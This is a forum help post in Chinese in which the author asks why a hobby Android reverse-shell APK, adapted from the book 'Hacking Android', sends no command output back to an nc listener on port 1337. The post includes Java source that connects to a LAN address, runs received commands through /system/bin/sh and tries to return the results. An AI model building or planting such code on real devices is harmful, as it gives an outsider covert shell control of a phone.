-
-
[求助]求助下我写的这个reverse shell 为什么收不到输出结果
-
发表于:
2018-4-27 03:38
2964
-
[求助]求助下我写的这个reverse shell 为什么收不到输出结果
求助各位大牛。我写了个安卓手机上的apk reverse shell玩玩,代码参考了hacking android这本书,大致就是服务器这边发过去命令,手机端执行。但是我这边服务器收不到返回结果,非常郁闷。。
我在电脑上用nc监听1337端口。
可以看到,这里收到了手机的连接,然后我发了条'id'命令过去。同时可以看到,log打印出来手机上已经成功执行了。

private void getReverseShell(){
Thread thread = new Thread(){
@Override
public void run(){
String SERVERIP = "192.168.0.108";
int PORT = 1337;
try{
InetAddress HOST = InetAddress.getByName(SERVERIP);
Socket socket = new Socket(HOST, PORT);
Log.d("TCP CONNECTION", String.format("Connecting to %s:%d (TCP)", HOST,PORT));
while (true){
out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())),
true);
in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
Log.d("reverseshell","here");
String command = in.readLine();
Log.d("reverseshell",command);
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh","-c",command});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
int read;
char [] buffer = new char[4096];
StringBuffer output = new StringBuffer();
while((read = reader.read(buffer)) > 0){
output.append(buffer,0,read);
}
reader.close();
String commandouptput = output.toString();
process.waitFor();
Log.d("reverseshell",commandouptput);
if(commandouptput != null){
sendoutput(commandouptput);
}
out = null;
}
}catch (Exception e){
e.printStackTrace();
}
}
};
thread.start();
}
private void sendoutput(String commandoutput){
if (out != null && out.checkError()){
out.println(commandoutput);
out.flush();
}
}
看一下代码,两个‘here’的输出说明sendoutput函数也成功执行了。但是为什么nc输出不了结果呢。。。我防火墙已经开了1337的tcp端口了。真的奔溃。。
[培训]科锐逆向工程师培训第53期2025年7月8日开班!